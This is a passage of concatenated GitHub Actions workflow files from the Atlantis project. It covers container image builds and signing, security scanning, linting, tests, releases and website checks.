type=raw,event=push,value=dev,enable=${{ github.ref == format('refs/heads/{0}', 'main') && matrix.image_type == 'alpine' }},suffix= # prerelease type=raw,event=tag,value=prerelease-latest,enable=${{ startsWith(github.ref, 'refs/tags/') && contains(github.ref, 'pre') && matrix.image_type == 'alpine' }},suffix= type=raw,event=tag,value=prerelease-latest,enable=${{ startsWith(github.ref, 'refs/tags/') && contains(github.ref, 'pre') }},suffix=${{ env.SUFFIX }} # latest type=raw,event=tag,value=latest,enable=${{ startsWith(github.ref, 'refs/tags/') && !contains(github.ref, 'pre') && matrix.image_type == 'alpine' }},suffix= type=raw,event=tag,value=latest,enable=${{ startsWith(github.ref, 'refs/tags/') && !contains(github.ref, 'pre') }},suffix=${{ env.SUFFIX }} # pr type=ref,event=pr,suffix=${{ env.SUFFIX }} flavor: | # This is disabled here so we can use the raw form above latest=false # Suffix is not used here since there's no way to disable it above - name: Login to Packages Container registry uses: docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9 # v3 with: registry: ghcr.io username: ${{ github.actor }} password: ${{ secrets.GITHUB_TOKEN }} # Publish release to container registry - name: Populate release version if: contains(fromJson('["push", "pull_request"]'), github.event_name) run: echo "RELEASE_VERSION=${{ startsWith(github.ref, 'refs/tags/') && '${GITHUB_REF#refs/*/}' || 'dev' }}" >> $GITHUB_ENV - name: "Build ${{ env.PUSH == 'true' && 'and push' || '' }} ${{ env.DOCKER_REPO }} image" id: build if: contains(fromJson('["push", "pull_request"]'), github.event_name) uses: docker/build-push-action@10e90e3645eae34f1e60eeb005ba3a3d33f178e8 # v6 with: cache-from: type=gha cache-to: type=gha,mode=max context: . build-args: | ATLANTIS_BASE_TAG_TYPE=${{ matrix.image_type }} ATLANTIS_VERSION=${{ env.RELEASE_VERSION }} ATLANTIS_COMMIT=${{ fromJSON(steps.meta.outputs.json).labels['org.opencontainers.image.revision'] }} ATLANTIS_DATE=${{ fromJSON(steps.meta.outputs.json).labels['org.opencontainers.image.created'] }} platforms: linux/arm64/v8, linux/amd64, linux/arm/v7 push: ${{ env.PUSH }} tags: ${{ steps.meta.outputs.tags }} target: ${{ matrix.image_type }} labels: ${{ steps.meta.outputs.labels }} outputs: type=image,name=target,annotation-index.org.opencontainers.image.description=${{ fromJSON(steps.meta.outputs.json).labels['org.opencontainers.image.description'] }} - name: "Create Image Attestation" if: env.PUSH == 'true' && github.event_name != 'pull_request' uses: actions/attest-build-provenance@e8998f949152b193b063cb0ec769d69d929409be # v2.4.0 with: subject-digest: ${{ steps.build.outputs.digest }} subject-name: ghcr.io/${{ github.repository }} push-to-registry: true - name: "Sign images with environment annotations" # no key needed, we're using the GitHub OIDC flow if: env.PUSH == 'true' && github.event_name != 'pull_request' run: | # Sign dev tags, version tags, and latest tags echo "${TAGS}" | xargs -I {} cosign sign \ --yes \ -a "actor=${ACTOR}" \ -a "ref_name=${REF_NAME}" \ -a "ref=${SHA}" \ {}@${DIGEST} env: TAGS: ${{ steps.meta.outputs.tags }} DIGEST: ${{ steps.build.outputs.digest }} ACTOR: ${{ github.actor }} REF_NAME: ${{ github.ref_name }} SHA: ${{ github.sha }} test: needs: [changes] if: needs.changes.outputs.should-run-build == 'true' name: Test Image With Goss runs-on: ubuntu-24.04 permissions: contents: read strategy: matrix: image_type: [alpine, debian] platform: [linux/arm64/v8, linux/amd64, linux/arm/v7] env: # Set docker repo to either the fork or the main repo where the branch exists DOCKER_REPO: ghcr.io/${{ github.repository }} steps: - name: Harden Runner uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2 with: egress-policy: audit - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 - name: Set up Docker Buildx uses: docker/setup-buildx-action@8d2750c68a42422c14e847fe6c8ac0403b4cbd6f # v3 - name: "Build and load into Docker" if: contains(fromJson('["push", "pull_request"]'), github.event_name) uses: docker/build-push-action@10e90e3645eae34f1e60eeb005ba3a3d33f178e8 # v6 with: cache-from: type=gha cache-to: type=gha,mode=max context: . build-args: | ATLANTIS_BASE_TAG_TYPE=${{ matrix.image_type }} push: false load: true tags: "${{ env.DOCKER_REPO }}:goss-test" target: ${{ matrix.image_type }} - name: "Setup Goss" uses: e1himself/goss-installation-action@3b8340a7c772f8064444f48b0df4c2a80d2e50fc # v1.3.0 with: version: "v0.4.7" - name: Execute Goss tests run: | dgoss run --rm ${{ env.DOCKER_REPO }}:goss-test bash -c 'while true; do sleep 1; done;' skip-build: needs: [changes] if: needs.changes.outputs.should-run-build == 'false' name: Build Image permissions: contents: read strategy: matrix: image_type: [alpine, debian] runs-on: ubuntu-24.04 steps: - name: Harden Runner uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2 with: egress-policy: audit - run: 'echo "No build required"' ================================================ FILE: .github/workflows/clusterfuzzlite.yml ================================================ name: ClusterFuzzLite on: pull_request: types: - opened - reopened - synchronize - ready_for_review branches: - main - 'release-**' concurrency: group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }} cancel-in-progress: true permissions: read-all jobs: Fuzzing: if: github.event.pull_request.draft == false runs-on: ubuntu-latest permissions: security-events: write strategy: fail-fast: false matrix: sanitizer: - address # Override this with the sanitizers you want. # - undefined # - memory steps: - name: Harden Runner uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2 with: egress-policy: audit - name: Build Fuzzers (${{ matrix.sanitizer }}) id: build uses: google/clusterfuzzlite/actions/build_fuzzers@884713a6c30a92e5e8544c39945cd7cb630abcd1 # v1 with: language: go sanitizer: ${{ matrix.sanitizer }} github-token: ${{ secrets.GITHUB_TOKEN }} - name: Run Fuzzers (${{ matrix.sanitizer }}) id: run uses: google/clusterfuzzlite/actions/run_fuzzers@884713a6c30a92e5e8544c39945cd7cb630abcd1 # v1 with: github-token: ${{ secrets.GITHUB_TOKEN }} fuzz-seconds: 600 mode: 'code-change' sanitizer: ${{ matrix.sanitizer }} language: go output-sarif: true - name: Upload Sarif if: steps.run.outputs.sarif-path != '' uses: github/codeql-action/upload-sarif@89a39a4e59826350b863aa6b6252a07ad50cf83e # v4.32.4 with: sarif_file: ${{ steps.run.outputs.sarif-path }} ================================================ FILE: .github/workflows/codeql.yml ================================================ # For most projects, this workflow file will not need changing; you simply need # to commit it to your repository. # # You may wish to alter this file to override the set of languages analyzed, # or to provide custom queries or build logic. # # ******** NOTE ******** # We have attempted to detect the languages in your repository. Please check # the `language` matrix defined below to confirm you have the correct set of # supported CodeQL languages. # name: "CodeQL" on: push: branches: - 'main' - 'release-**' pull_request: # The branches below must be a subset of the branches above types: - opened - reopened - synchronize - ready_for_review branches: - 'main' - 'release-**' schedule: - cron: '17 9 * * 5' permissions: contents: read jobs: changes: permissions: contents: read # for dorny/paths-filter to fetch a list of changed files pull-requests: read # for dorny/paths-filter to read pull requests outputs: should-run-analyze: ${{ github.event_name != 'pull_request' || steps.changes.outputs.src == 'true' }} if: github.event_name != 'pull_request' || github.event.pull_request.draft == false runs-on: ubuntu-24.04 steps: - name: Harden Runner uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2 with: egress-policy: audit - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 - uses: dorny/paths-filter@de90cc6fb38fc0963ad72b210f1f284cd68cea36 # v3 id: changes with: filters: | src: - '**.go' - '**.js4' analyze: needs: [changes] name: Analyze if: github.event.pull_request.draft == false && needs.changes.outputs.should-run-analyze == 'true' runs-on: ubuntu-24.04 permissions: actions: read contents: read security-events: write strategy: fail-fast: false matrix: language: [ 'go', 'javascript' ] # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python', 'ruby' ] # Use only 'java' to analyze code written in Java, Kotlin or both # Use only 'javascript' to analyze code written in JavaScript, TypeScript or both # Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support steps: - name: Harden Runner uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2 with: egress-policy: audit - name: Checkout repository uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 # Initializes the CodeQL tools for scanning. - name: Initialize CodeQL uses: github/codeql-action/init@ebcb5b36ded6beda4ceefea6a8bc4cc885255bb3 # v3 with: languages: ${{ matrix.language }} # If you wish to specify custom queries, you can do so here or in a config file. # By default, queries listed here will override any specified in a config file. # Prefix the list here with "+" to use these queries and those in the config file. # Details on CodeQL's query packs refer to : https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs # queries: security-extended,security-and-quality # Autobuild attempts to build any compiled languages (C/C++, C#, Go, or Java). # If this step fails, then you should remove it and run the build manually (see below) - name: Autobuild uses: github/codeql-action/autobuild@ebcb5b36ded6beda4ceefea6a8bc4cc885255bb3 # v3 # ℹ️ Command-line programs to run using the OS shell. # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun # If the Autobuild fails above, remove it and uncomment the following three lines. # modify them (or add more) to build your code if your project, please refer to the EXAMPLE below for guidance. # - run: | # echo "Run, Build Application using script" # ./location_of_script_within_repo/buildscript.sh - name: Perform CodeQL Analysis uses: github/codeql-action/analyze@ebcb5b36ded6beda4ceefea6a8bc4cc885255bb3 # v3 with: category: "/language:${{matrix.language}}" skip-analyze: needs: [changes] if: needs.changes.outputs.should-run-analyze == 'false' name: Analyze strategy: matrix: language: [ 'go', 'javascript' ] runs-on: ubuntu-24.04 steps: - name: Harden Runner uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2 with: egress-policy: audit - run: 'echo "No build required"' ================================================ FILE: .github/workflows/dependency-review.yml ================================================ # Dependency Review Action # # This Action will scan dependency manifest files that change as part of a Pull Request, # surfacing known-vulnerable versions of the packages declared or updated in the PR. # Once installed, if the workflow run is marked as required, # PRs introducing known-vulnerable packages will be blocked from merging. # # Source repository: https://github.com/actions/dependency-review-action name: 'Dependency Review' on: pull_request: types: - opened - synchronize - reopened branches: - main - release-** permissions: contents: read jobs: dependency-review: runs-on: ubuntu-latest steps: - name: Harden Runner uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2 with: egress-policy: audit - name: 'Checkout Repository' uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1 - name: 'Dependency Review' uses: actions/dependency-review-action@05fe4576374b728f0c523d6a13d64c25081e0803 # v4.8.3 ================================================ FILE: .github/workflows/labeler.yml ================================================ name: "Pull Request Labeler" on: pull_request_target: types: - opened - reopened - synchronize - ready_for_review permissions: contents: read jobs: triage: permissions: contents: read pull-requests: write if: github.event.pull_request.draft == false runs-on: ubuntu-24.04 steps: - name: Harden Runner uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2 with: egress-policy: audit - uses: actions/labeler@8558fd74291d67161a8a78ce36a881fa63b766a9 # v5 ================================================ FILE: .github/workflows/lint.yml ================================================ name: linter on: pull_request: types: - opened - reopened - synchronize - ready_for_review branches: - "main" - "release-**" concurrency: group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }} cancel-in-progress: true permissions: # Required: allow read access to the content for analysis. contents: read # Optional: allow read access to pull request. Use with `only-new-issues` option. pull-requests: read # Optional: Allow write access to checks to allow the action to annotate code in the PR. checks: write jobs: changes: outputs: should-run-linting: ${{ steps.changes.outputs.go == 'true' }} if: github.event.pull_request.draft == false runs-on: ubuntu-24.04 steps: - name: Harden Runner uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2 with: egress-policy: audit - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 - uses: dorny/paths-filter@de90cc6fb38fc0963ad72b210f1f284cd68cea36 # v3 id: changes with: filters: | go: - '**.go' - 'go.*' - '.github/workflows/lint.yml' - '.golangci.yml' golangci-lint: needs: [changes] if: github.event.pull_request.draft == false && needs.changes.outputs.should-run-linting == 'true' name: Linting runs-on: ubuntu-24.04 steps: - name: Harden Runner uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2 with: egress-policy: audit - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 # need to setup go toolchain explicitly - uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5 with: go-version-file: go.mod - name: golangci-lint uses: golangci/golangci-lint-action@1e7e51e771db61008b38414a730f564565cf7c20 # v9 with: # renovate: datasource=github-releases depName=golangci/golangci-lint version: v2.7.2 skip-lint: needs: [changes] if: needs.changes.outputs.should-run-linting == 'false' name: Linting runs-on: ubuntu-24.04 steps: - name: Harden Runner uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2 with: egress-policy: audit - run: 'echo "No build required"' ================================================ FILE: .github/workflows/pr-lint.yml ================================================ name: "Lint PR" on: pull_request_target: types: - opened - edited - synchronize permissions: pull-requests: read jobs: main: name: Validate PR title runs-on: ubuntu-24.04 steps: - name: Harden Runner uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2 with: egress-policy: audit - uses: amannn/action-semantic-pull-request@48f256284bd46cdaab1048c3721360e808335d50 # v6 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} ================================================ FILE: .github/workflows/pr-size-labeler.yml ================================================ name: pr-size on: [pull_request] permissions: contents: read jobs: labeler: permissions: pull-requests: write # for codelytv/pr-size-labeler to add labels & comment on PRs runs-on: ubuntu-latest name: Label the PR size steps: - name: Harden Runner uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2 with: egress-policy: audit - uses: codelytv/pr-size-labeler@4ec67706cd878fbc1c8db0a5dcd28b6bb412e85a # v1 with: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} xs_label: 'size/xs' xs_max_size: '10' s_label: 'size/s' s_max_size: '200' m_label: 'size/m' m_max_size: '1000' l_label: 'size/l' l_max_size: '10000' xl_label: 'size/xl' fail_if_xl: 'false' message_if_xl: > This PR exceeds the recommended size of 1000 lines. Please make sure you are NOT addressing multiple issues with one PR. Note this PR might be rejected due to its size. github_api_url: 'https://api.github.com' files_to_ignore: '' ================================================ FILE: .github/workflows/release.yml ================================================ name: release on: push: tags: - v*.*.* workflow_dispatch: permissions: contents: write # for goreleaser to create releases and upload release assets jobs: goreleaser: runs-on: ubuntu-24.04 steps: - name: Harden Runner uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2 with: egress-policy: audit - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 with: submodules: true - uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5 with: go-version-file: go.mod - name: Run GoReleaser for stable release uses: goreleaser/goreleaser-action@ec59f474b9834571250b370d4735c50f8e2d1e29 # v7 if: (!contains(github.ref, 'pre')) with: # You can pass flags to goreleaser via GORELEASER_ARGS # --clean will save you deleting the dist dir args: release --clean distribution: goreleaser # or 'goreleaser-pro' version: "~> v2" # or 'latest', 'nightly', semver env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - name: Generate changelog for pre release if: contains(github.ref, 'pre') id: changelog run: | echo "RELEASE_TAG=${GITHUB_REF#refs/tags/}" >> $GITHUB_OUTPUT gh api repos/$GITHUB_REPOSITORY/releases/generate-notes \ -f tag_name="${GITHUB_REF#refs/tags/}" \ -f target_commitish=main \ -q .body > tmp-CHANGELOG.md env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} ================================================ FILE: .github/workflows/renovate-config.yml ================================================ name: renovate-config on: push: paths: - '.github/renovate.json5' branches: - main - 'releases-**' pull_request: paths: - '.github/renovate.json5' workflow_dispatch: permissions: contents: read jobs: validate: runs-on: ubuntu-24.04 steps: - name: Harden Runner uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2 with: egress-policy: audit - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 - uses: actions/setup-node@53b83947a5a98c8d113130e565377fae1a50d02f # v6 - run: npx --package="renovate@${RENOVATE_VERSION}" -c renovate-config-validator env: # renovate: datasource=npm depName=renovate RENOVATE_VERSION: 39.68.4 ================================================ FILE: .github/workflows/scorecard.yml ================================================ name: Scorecard supply-chain security on: schedule: - cron: '0 5 * * 1' push: branches: - main permissions: read-all jobs: analysis: name: Scorecard analysis runs-on: ubuntu-latest permissions: # Needed to upload the results to code-scanning dashboard. security-events: write # Needed to publish results and get a badge (see publish_results below). id-token: write steps: - name: Harden Runner uses: step-security/harden-runner@fa2e9d605c4eeb9fcad4c99c224cee0c6c7f3594 # v2 with: egress-policy: audit - name: 'Checkout code' uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1 with: persist-credentials: false show-progress: false - name: 'Run analysis' uses: ossf/scorecard-action@4eaacf0543bb3f2c246792bd56e8cdeffafb205a # v2.4.3 with: results_file: results.sarif results_format: sarif # Public repositories: # - Publish results to OpenSSF REST API for easy access by consumers # - Allows the repository to include the Scorecard badge. # - See https://github.com/ossf/scorecard-action#publishing-results. # For private repositories: # - `publish_results` will always be set to `false`, regardless # of the value entered here. publish_results: true # Upload the results as artifacts (optional). Commenting out will disable uploads of run results in SARIF # format to the repository Actions tab. - name: 'Upload artifact' uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2 with: name: SARIF file path: results.sarif retention-days: 5 # Upload the results to GitHub's code scanning dashboard. - name: 'Upload to code-scanning' uses: github/codeql-action/upload-sarif@45580472a5bb82c4681c4ac726cfdb60060c2ee1 # v3.32.4 with: sarif_file: results.sarif ================================================ FILE: .github/workflows/stale.yml ================================================ name: Close Stale PRs on: schedule: - cron: '30 1 * * *' permissions: contents: read jobs: stale: permissions: issues: write # for actions/stale to close stale issues pull-requests: write # for actions/stale to close stale PRs runs-on: ubuntu-24.04 steps: - name: Harden Runner uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2 with: egress-policy: audit - uses: actions/stale@b5d41d4e1d5dceea10e7104786b73624c18a190f # v10 with: stale-pr-message: 'This issue is stale because it has been open for 1 month with no activity. Remove stale label or comment or this will be closed in 1 month.' stale-issue-message: 'This issue is stale because it has been open for 1 month with no activity. Remove stale label or comment or this will be closed in 1 month.' remove-stale-when-updated: true exempt-pr-labels: "never-stale" exempt-issue-labels: "never-stale" # 1 month days-before-stale: 31 # 1 month days-before-close: 31 only-labels: 'waiting-on-response' ================================================ FILE: .github/workflows/test.yml ================================================ name: tester on: push: branches: - "main" - "release-**" pull_request: types: - opened - reopened - synchronize - ready_for_review branches: - "main" - "release-**" concurrency: group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }} cancel-in-progress: true permissions: contents: read env: TERRAFORM_VERSION: 1.11.1 NGROK_DOWNLOAD_URL: https://bin.equinox.io/a/bNzUz3YQtcB/ngrok-v3-3.33.1-linux-amd64.tar.gz jobs: changes: permissions: contents: read # for dorny/paths-filter to fetch a list of changed files pull-requests: read # for dorny/paths-filter to read pull requests outputs: should-run-tests: ${{ steps.changes.outputs.go == 'true' }} if: github.event.pull_request.draft == false runs-on: ubuntu-24.04 steps: - name: Harden Runner uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2 with: egress-policy: audit - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 - uses: dorny/paths-filter@de90cc6fb38fc0963ad72b210f1f284cd68cea36 # v3 id: changes with: filters: | go: - '**.go' - '**.txt' # golden file test output - 'go.*' - '**.tmpl' - '.github/workflows/test.yml' test: needs: [changes] if: needs.changes.outputs.should-run-tests == 'true' name: Tests runs-on: ubuntu-24.04 # Use latest testing environment for automatic updates # Previous: ghcr.io/runatlantis/testing-env:latest@sha256:725981e9090c977f8055f5ec5ba7a63430a8f0337ab955978e6b8cc2cd0236c3 container: ghcr.io/runatlantis/testing-env:latest@sha256:d1654766a99fa7042c96fcb19da42cee36f042b1ae67f106237e3cbbaf059732 steps: - name: Harden Runner uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2 with: egress-policy: audit - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 # need to setup go toolchain explicitly - uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5 with: go-version-file: go.mod - run: make test-all - run: make check-fmt ########################################################### # Notifying #contributors about test failure on main branch ########################################################### - name: Slack failure notification if: ${{ github.ref == 'refs/heads/main' && failure() }} uses: slackapi/slack-github-action@91efab103c0de0a537f72a35f6b8cda0ee76bf0a # v2.1.1 with: payload: | { "blocks": [ { "type": "section", "text": { "type": "mrkdwn", "text": ":x: Failed GitHub Action:" } }, { "type": "section", "fields": [ { "type": "mrkdwn", "text": "*Workflow:*\n<${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}|${{ github.workflow }}>" }, { "type": "mrkdwn", "text": "*Job:*\n${{ github.job }}" }, { "type": "mrkdwn", "text": "*Repo:*\n${{ github.repository }}" } ] } ] } env: SLACK_WEBHOOK_URL: ${{ secrets.SLACK_WEBHOOK_URL }} SLACK_WEBHOOK_TYPE: INCOMING_WEBHOOK skip-test: needs: [changes] if: needs.changes.outputs.should-run-tests == 'false' name: Tests runs-on: ubuntu-24.04 steps: - name: Harden Runner uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2 with: egress-policy: audit - run: 'echo "No build required"' e2e-github: runs-on: ubuntu-24.04 # dont run e2e tests on forked PRs if: github.event.pull_request.head.repo.fork == false env: ATLANTIS_GH_USER: ${{ secrets.ATLANTISBOT_GITHUB_USERNAME }} ATLANTIS_GH_TOKEN: ${{ secrets.ATLANTISBOT_GITHUB_TOKEN }} NGROK_AUTH_TOKEN: ${{ secrets.ATLANTISBOT_NGROK_AUTH_TOKEN }} steps: - name: Harden Runner uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2 with: egress-policy: audit - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 - uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5 with: go-version-file: go.mod # This version of TF will be downloaded before Atlantis is started. # We do this instead of setting --default-tf-version because setting # that flag starts the download asynchronously so we'd have a race # condition. - uses: hashicorp/setup-terraform@b9cd54a3c349d3f38e8881555d616ced269862dd # v3 with: terraform_version: ${{ env.TERRAFORM_VERSION }} - name: Setup ngrok run: | wget -q -O ngrok.tar.gz ${NGROK_DOWNLOAD_URL} tar -xzf ngrok.tar.gz chmod +x ngrok ./ngrok version - name: Setup gitconfig run: | git config --global user.email "maintainers@runatlantis.io" git config --global user.name "atlantisbot" - run: | make build-service ./scripts/e2e.sh e2e-gitlab: runs-on: ubuntu-24.04 # dont run e2e tests on forked PRs if: github.event.pull_request.head.repo.fork == false env: ATLANTIS_GITLAB_USER: ${{ secrets.ATLANTISBOT_GITLAB_USERNAME }} ATLANTIS_GITLAB_TOKEN: ${{ secrets.ATLANTISBOT_GITLAB_TOKEN }} NGROK_AUTH_TOKEN: ${{ secrets.ATLANTISBOT_NGROK_AUTH_TOKEN }} steps: - name: Harden Runner uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2 with: egress-policy: audit - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 - uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5 with: go-version-file: go.mod # This version of TF will be downloaded before Atlantis is started. # We do this instead of setting --default-tf-version because setting # that flag starts the download asynchronously so we'd have a race # condition. - uses: hashicorp/setup-terraform@b9cd54a3c349d3f38e8881555d616ced269862dd # v3 with: terraform_version: ${{ env.TERRAFORM_VERSION }} - name: Setup ngrok run: | wget -q -O ngrok.tar.gz ${NGROK_DOWNLOAD_URL} tar -xzf ngrok.tar.gz chmod +x ngrok ./ngrok version - name: Setup gitconfig run: | git config --global user.email "maintainers@runatlantis.io" git config --global user.name "atlantisbot" - run: | make build-service ./scripts/e2e.sh ================================================ FILE: .github/workflows/testing-env-image.yml ================================================ name: testing-env-image on: push: branches: - 'main' - 'release-**' pull_request: branches: - 'main' - 'release-**' workflow_dispatch: concurrency: group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }} cancel-in-progress: true permissions: contents: read jobs: changes: permissions: contents: read # for dorny/paths-filter to fetch a list of changed files pull-requests: read # for dorny/paths-filter to read pull requests outputs: should-run-build: ${{ steps.changes.outputs.src == 'true' }} if: github.event.pull_request.draft == false runs-on: ubuntu-24.04 steps: - name: Harden Runner uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2 with: egress-policy: audit - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 - uses: dorny/paths-filter@de90cc6fb38fc0963ad72b210f1f284cd68cea36 # v3 id: changes with: filters: | src: - 'testing/**' - '.github/workflows/testing-env-image.yml' build: needs: [changes] if: needs.changes.outputs.should-run-build == 'true' name: Build Testing Env Image runs-on: ubuntu-24.04 permissions: packages: write # for ghcr.io push steps: - name: Harden Runner uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2 with: egress-policy: audit - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 - name: Set up QEMU uses: docker/setup-qemu-action@c7c53464625b32c7a7e944ae62b3e17d2b600130 # v3 with: image: tonistiigi/binfmt:qemu-v10.2.1@sha256:d3b963f787999e6c0219a48dba02978769286ff61a5f4d26245cb6a6e5567ea3 platforms: arm64,arm - name: Set up Docker Buildx uses: docker/setup-buildx-action@8d2750c68a42422c14e847fe6c8ac0403b4cbd6f # v3 - name: Login to Packages Container registry uses: docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9 # v3 with: registry: ghcr.io username: ${{ github.actor }} password: ${{ secrets.GITHUB_TOKEN }} - run: echo "TODAY=$(date +"%Y.%m.%d")" >> $GITHUB_ENV - name: Build and push testing-env:${{env.TODAY}} image uses: docker/build-push-action@10e90e3645eae34f1e60eeb005ba3a3d33f178e8 # v6 with: cache-from: type=gha cache-to: type=gha,mode=max context: testing platforms: linux/arm64/v8,linux/amd64,linux/arm/v7 push: ${{ github.event_name != 'pull_request' }} tags: | ghcr.io/runatlantis/testing-env:${{env.TODAY}} ghcr.io/runatlantis/testing-env:latest skip-build: needs: [changes] if: needs.changes.outputs.should-run-build == 'false' name: Build Testing Env Image runs-on: ubuntu-24.04 steps: - name: Harden Runner uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2 with: egress-policy: audit - run: 'echo "No build required"' ================================================ FILE: .github/workflows/website.yml ================================================ name: website on: push: branches: - 'main' - 'release-**' pull_request: types: - opened - reopened - synchronize - ready_for_review branches: - 'main' - 'release-**' concurrency: group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }} cancel-in-progress: true permissions: # Required: allow read access to the content for analysis. contents: read jobs: changes: outputs: should-run-website-check: ${{ steps.changes.outputs.src == 'true' }} if: github.event.pull_request.draft == false runs-on: ubuntu-24.04 steps: - name: Harden Runner uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2 with: egress-policy: audit - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 - uses: dorny/paths-filter@de90cc6fb38fc0963ad72b210f1f284cd68cea36 # v3 id: changes with: filters: | src: - 'runatlantis.io/**' - 'package-lock.json' - 'package.json' - '.github/workflows/website.yml' - '.vale.ini' - '_typos.toml' - '.github/styles/**' # Check that the website builds and there's no missing links. website-check: needs: [changes] if: github.event.pull_request.draft == false && needs.changes.outputs.should-run-website-check == 'true' name: Website Check runs-on: ubuntu-24.04 steps: - name: Harden Runner uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2 with: egress-policy: audit - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 - name: Spell check uses: crate-ci/typos@57b11c6b7e54c402ccd9cda953f1072ec4f78e33 # v1.43.5 with: files: ./runatlantis.io/docs - name: Vale prose linting run: | VALE_VERSION="3.9.4" VALE_TARBALL="vale_${VALE_VERSION}_Linux_64-bit.tar.gz" curl -sLO "https://github.com/errata-ai/vale/releases/download/v${VALE_VERSION}/${VALE_TARBALL}" echo "551f7ef5cabd53affb7b2c8bdbd4cfb6216270d53c4d6e571a567c5b5df0921d ${VALE_TARBALL}" | sha256sum --check tar xz -C /tmp vale -f "${VALE_TARBALL}" rm "${VALE_TARBALL}" # api-endpoints.md intentionally uses "Github"/"Gitlab" as literal API # string values matching the Go source code constants; exclude it here. /tmp/vale --glob='!*api-endpoints.md' runatlantis.io/docs/ - name: markdown-lint uses: DavidAnson/markdownlint-cli2-action@05f32210e84442804257b2a6f20b273450ec8265 # v19 with: config: .markdownlint.yaml globs: 'runatlantis.io/**/*.md' - name: Link Checker id: lychee uses: lycheeverse/lychee-action@a8c4c7cb88f0c7386610c35eb25108e448569cb0 # v2.7.0 with: args: >- --verbose --no-progress --max-concurrency 5 --max-retries 0 --accept 200,429 ./runatlantis.io - name: setup npm uses: actions/setup-node@53b83947a5a98c8d113130e565377fae1a50d02f # v6 with: cache: 'npm' - name: run http-server run: | # build site npm install npm run website:build # start http-server for integration testing npx http-server runatlantis.io/.vitepress/dist & - name: Run Playwright E2E tests run: | npx playwright install --with-deps npm run e2e skip-website-check: needs: [changes] if: 